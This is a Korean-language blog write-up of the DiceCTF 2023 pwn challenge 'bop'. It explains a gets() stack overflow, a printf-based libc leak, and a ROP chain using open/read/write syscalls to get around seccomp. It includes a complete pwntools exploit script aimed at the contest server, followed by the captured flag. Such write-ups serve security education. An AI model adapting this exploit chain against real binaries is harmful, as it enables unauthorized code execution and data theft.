2023 DiceCTF) Write-up (PWN/ bop)

2023. 2. 6. 14:41CTF

목차

01) PWN) bop


2023.02.04~6

 

48시간동안 진행되었으나 pwn 문제 중 가장 쉬웠던 bop 문제를 제외하고는 접근 방법을 알지 못해 풀지 못했다.

rust 공부의 필요성을 느껴 이번 대회의 라이트업을 보고 공부해볼 예정이다.

 

PWN) bop (117 pts)

bop

gets가 사용되어 bof가 발생한다. rop를 통해 문제를 풀 수 있다.

그러나 seccomp가 걸려있으므로 허용된 호출함수인 open, read, write를 사용하여 문제를 풀었다.

seccomp -> read, write, open, exit 허용 / 그 외 비허용

 

프로그램에 사용된 printf함수를 이용하여 libcbase를 leak할 수 있다.

leak을 위해 printf를 호출하는 과정에서 stack align을 위해 ret을 추가하였다.

libc를 알아낸 후 순서대로 open, read, write를 호출하여 문제 서버의 플래그를 읽고 출력시켜 플래그를 획득하였다.

 

open함수의 경우 libc에 있는 open함수의 offset으로 주소를 구해 호출할 경우 자동으로 openat함수가 실행된다.

따라서 openat을 사용하지 않도록 하기 위해 rax를 2로 설정하고 syscall을 통해 함수를 호출하였다.

ROPgadget 명령어를 통해 가젯을 구할 시 syscall 가젯만 출력시켜주는 경우가 있다. 이 경우 명령어에 --multibr 를 추가하면 syscall ; ret 가젯이 바로 보이지 않을 때 편하게 찾을 수 있다.

 

- ex.py

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

#s = process("./bop")
s = remote("mc.ax", 30284)

p = b"A"*40
p += p64(0x4013d3) # pop rdi ; ret
p += p64(0x404038) # printf_got
p += p64(0x40101a) # ret
p += p64(0x4010f0) # printf_plt
p += p64(0x4013d3) # pop rdi ; ret
p += p64(0x4040c0) # bss
p += p64(0x401100) # gets
p += p64(0x4012f9) # back to main
s.sendlineafter(b"? ", p)
sleep(0.5)
s.sendline(b"./flag.txt")
libc = u64(s.recv(6).ljust(8, b"\x00")) - 0x61c90
log.info(hex(libc))

open_addr = libc + 0x10dce0
read_addr = libc + 0x10dfc0
write_addr = libc + 0x10e060

p = b"B"*40

p += p64(libc + 0x36174) # pop rax ; ret
p += p64(2) # open
p += p64(0x4013d3) # pop rdi ; ret
p += p64(0x4040c0) # bss
p += p64(libc + 0x2601f) # pop rsi ; ret
p += p64(0)
p += p64(libc + 0x630a9) # syscall ; ret

p += p64(0x4013d3) # pop rdi ; ret
p += p64(3) # fd = 3
p += p64(libc + 0x2601f) # pop rsi ; ret
p += p64(0x4040d0) # bss
p += p64(libc + 0x142c92) # pop rdx ; ret
p += p64(0x40)
p += p64(read_addr)

p += p64(0x4013d3) # pop rdi ; ret
p += p64(1) # fd = 1 (stdout)
p += p64(libc + 0x2601f) # pop rsi ; ret
p += p64(0x4040d0) # bss
p += p64(libc + 0x142c92) # pop rdx ; ret
p += p64(0x40)
p += p64(write_addr)

s.sendlineafter(b"? ", p)

s.interactive()

쉘 획득

 

dice{ba_da_ba_da_ba_be_bop_bop_bodda_bope_f8a01d8ec4e2}